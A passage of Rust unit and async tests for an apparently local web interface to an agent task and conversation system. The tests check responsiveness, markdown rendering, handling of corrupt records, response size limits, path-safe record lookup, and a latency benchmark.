27989                started.send(()).unwrap();
27990                held.recv().unwrap();
27991            });
27992            ready.await.unwrap();
27993            let result = tokio::time::timeout(
27994                Duration::from_secs(2),
27995                talk_core(State(ui.clone()), Path(id.clone())),
27996            )
27997            .await;
27998            release.send(()).unwrap();
27999            admission.join().unwrap();
28000            assert!(
28001                result
28002                    .expect("display must not wait behind local admission")
28003                    .unwrap()
28004                    .0
28005                    .thinking
28006            );
28007            assert!(ui.is_thinking(&id));
28008            assert!(ui.is_thinking_observed(&id));
28009            drop(live);
28010            assert!(
28011                !ui.is_thinking_observed(&id),
28012                "a finished lease no longer appears live"
28013            );
28014            assert!(!ui.is_thinking(&id));
28015            let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
28016            assert!(
28017                ui.is_thinking_observed(&id),
28018                "local admission remains visible"
28019            );
28020        });
28021    }
28022
28023    #[tokio::test]
28024    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
28025        let home = tempfile::tempdir().unwrap();
28026        let ui = delta_test_ui(home.path());
28027        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
28028        let mut task = Task::new(
28029            "Referenced task".into(),
28030            "Unrelated instruction history".repeat(1024),
28031            home.path().into(),
28032            Source::Human,
28033        );
28034        task.id = "20261019-000000-abcd".into();
28035        ui.queue.put(&mut task).unwrap();
28036        let mut conversation = ui.talks.get(&id).unwrap();
28037        conversation.turns.push(talk::Turn {
28038            sender: Some(talk::Sender::Persona),
28039            who: talk::Who::Agent,
28040            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
28041            at: conversation.created_at,
28042            attachments: Vec::new(),
28043            usage: None,
28044            breaks: None,
28045            messages: Vec::new(),
28046            posted_by: None,
28047        });
28048        ui.talks.put(&mut conversation).unwrap();
28049
28050        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
28051        let markdown = serde_json::to_value(&core.turn_bodies_md)
28052            .unwrap()
28053            .to_string();
28054        assert!(markdown.contains("\"strong\""));
28055        assert!(markdown.contains("\"table\""));
28056        assert!(markdown.contains("\"bullet_list\""));
28057        assert!(markdown.contains("\"code_block\""));
28058        assert!(!markdown.contains("\"internal_link\""));
28059        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
28060        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
28061        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
28062
28063        // Deferred decoration still resolves the same validated task, without
28064        // touching opaque code blocks or changing the original transcript.
28065        let references = ui.references.for_talk(home.path(), &conversation);
28066        let mut decorated = core.turn_bodies_md[0].clone();
28067        references.markdown(&mut decorated);
28068        let decorated = serde_json::to_value(decorated).unwrap().to_string();
28069        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
28070        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
28071        assert_eq!(
28072            ui.talks.get(&conversation.id).unwrap().turns[0].body,
28073            conversation.turns[0].body
28074        );
28075    }
28076
28077    #[tokio::test]
28078    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
28079        let home = tempfile::tempdir().unwrap();
28080        let ui = delta_test_ui(home.path());
28081        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
28082        let mut run = RunState::new(
28083            PathBuf::from("/repo"),
28084            "main".into(),
28085            "01234567".into(),
28086            "Useful run".into(),
28087            Config::default(),
28088        );
28089        run.save_under(home.path()).unwrap();
28090        let mut task = Task::new(
28091            "Related".into(),
28092            "body".into(),
28093            PathBuf::from("/repo"),
28094            Source::Agent {
28095                run: talk_id.clone(),
28096                node: "chat".into(),
28097            },
28098        );
28099        task.runs = vec![run.id.clone()];
28100        ui.queue.put(&mut task).unwrap();
28101        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
28102        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
28103        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
28104        assert!(
28105            run_detail(State(ui.clone()), Path(run.id.clone()))
28106                .await
28107                .is_ok()
28108        );
28109        assert!(
28110            talk_sections(State(ui.clone()), Path(talk_id.clone()))
28111                .await
28112                .is_ok()
28113        );
28114        // Previously indexed corruption must not masquerade as no relationship.
28115        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
28116        assert!(ui.find_task_for_run(&run.id).is_err());
28117        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
28118        ui.queue.put(&mut task).unwrap();
28119        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
28120    }
28121
28122    #[tokio::test]
28123    async fn conversation_sections_omit_large_task_instructions() {
28124        let home = tempfile::tempdir().unwrap();
28125        let ui = delta_test_ui(home.path());
28126        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
28127        let mut task = Task::new(
28128            "filed task".into(),
28129            "large instruction ".repeat(65536),
28130            PathBuf::from("/repo"),
28131            Source::Agent {
28132                run: id.clone(),
28133                node: "chat".into(),
28134            },
28135        );
28136        ui.queue.put(&mut task).unwrap();
28137        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
28138        assert_eq!(sections["tasks"][0]["id"], task.id);
28139        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
28140        assert!(sections["tasks"][0].get("instruction").is_none());
28141        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
28142    }
28143
28144    #[test]
28145    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
28146        let home = tempfile::tempdir().unwrap();
28147        let talks = Talks::at(home.path().join("talks"));
28148        seed_talk_at(&talks, "20261019-000001-abcd", "open");
28149        seed_talk_at(&talks, "20261019-000002-abcd", "open");
28150        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
28151        assert!(resolve_talk(&talks, "../outside").is_err());
28152        assert!(resolve_talk(&talks, "abcd").is_err());
28153        assert_eq!(
28154            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
28155            "20261019-000001-abcd"
28156        );
28157    }
28158
28159    include!(concat!(
28160        env!("CARGO_MANIFEST_DIR"),
28161        "/tests/web_latency/baseline.rs"
28162    ));
28163
28164    include!(concat!(
28165        env!("CARGO_MANIFEST_DIR"),
28166        "/tests/web_latency/lists.rs"
28167    ));
28168
28169    #[tokio::test]
28170    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
28171    async fn web_history_latency_measurement() {
28172        use std::time::Instant;
28173        let home = tempfile::tempdir().unwrap();
28174        let ui = delta_test_ui(home.path());
28175        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
28176        let mut template = ui.talks.get(&id).unwrap();
28177        template.turns = serde_json::from_value(serde_json::json!([{
28178            "who": "operator", "body": "Show the accumulated work and its current status.",
28179            "at": Timestamp::now().to_string(),
28180        }]))
28181        .unwrap();
28182        std::fs::write(
28183            ui.talks.path_of(&id),
28184            serde_json::to_vec(&template).unwrap(),
28185        )
28186        .unwrap();
28187        let count = std::env::var("MAGI_BENCH_RECORDS")
28188            .ok()
28189            .and_then(|s| s.parse::<usize>().ok())
28190            .unwrap_or(1000);
28191        for i in 0..count {
28192            template.id = format!("20261019-{i:06}-history");
28193            template.pending = "history ".repeat(2048);
28194            std::fs::write(
28195                ui.talks.path_of(&template.id),
28196                serde_json::to_vec(&template).unwrap(),
28197            )
28198            .unwrap();
28199            let mut task = Task::new(
28200                "old task".into(),
28201                "instruction ".repeat(2048),
28202                PathBuf::from("/repo"),
28203                Source::Human,
28204            );
28205            task.id = format!("20261019-{i:06}-task");
28206            ui.queue.put(&mut task).unwrap();
28207        }
28208        for baseline in [true, false] {
28209            for clients in [1, 4] {
28210                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
28211                let mut samples = Vec::new();
28212                for _ in 0..12 {
28213                    let mut jobs = Vec::new();
28214                    for _ in 0..clients {
28215                        let ui = ui.clone();
28216                        let id = id.clone();
28217                        jobs.push(tokio::spawn(async move {
28218                            let start = Instant::now();
28219                            if baseline {
28220                                let response =
28221                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
28222                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
28223                                return (
28224                                    elapsed,
28225                                    elapsed,
28226                                    serde_json::to_vec(&response).unwrap().len(),
28227                                );
28228                            }
28229                            let core = talk_core(State(ui.clone()), Path(id.clone()));
28230                            let secondary = talk_sections(State(ui), Path(id));
28231                            let (first, total) = tokio::join!(
28232                                async {
28233                                    let value = core.await.unwrap().0;
28234                                    (
28235                                        start.elapsed().as_secs_f64() * 1000.0,
28236                                        serde_json::to_vec(&value).unwrap().len(),
28237                                    )
28238                                },
28239                                async {
28240                                    let value = secondary.await.unwrap().0;
28241                                    (
28242                                        start.elapsed().as_secs_f64() * 1000.0,
28243                                        serde_json::to_vec(&value).unwrap().len(),
28244                                    )
28245                                }
28246                            );
28247                            (first.0, first.0.max(total.0), first.1 + total.1)
28248                        }));
28249                    }
28250                    for job in jobs {
28251                        samples.push(job.await.unwrap());
28252                    }
28253                }
28254                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
28255                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
28256                first.sort_by(f64::total_cmp);
28257                total.sort_by(f64::total_cmp);
28258                let n = first.len();
28259                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
28260                println!(
28261                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
28262                    first[n / 2],
28263                    first[(n * 95 / 100).min(n - 1)],
28264                    total[n / 2],
28265                    total[(n * 95 / 100).min(n - 1)],
28266                    samples[0].2
28267                );
28268            }
28269        }
28270    }
28271
28272    #[test]
28273    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
28274        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
28275        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
28276        assert!(APP_JS.contains("function nextRunRequest(id)"));
28277        assert!(APP_JS.contains("function runShell(id, summary)"));
28278        assert!(APP_JS.contains("function nextTaskRequest(id)"));
28279        assert!(APP_JS.contains("function taskShell(id, summary)"));
28280        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
28281    }
28282}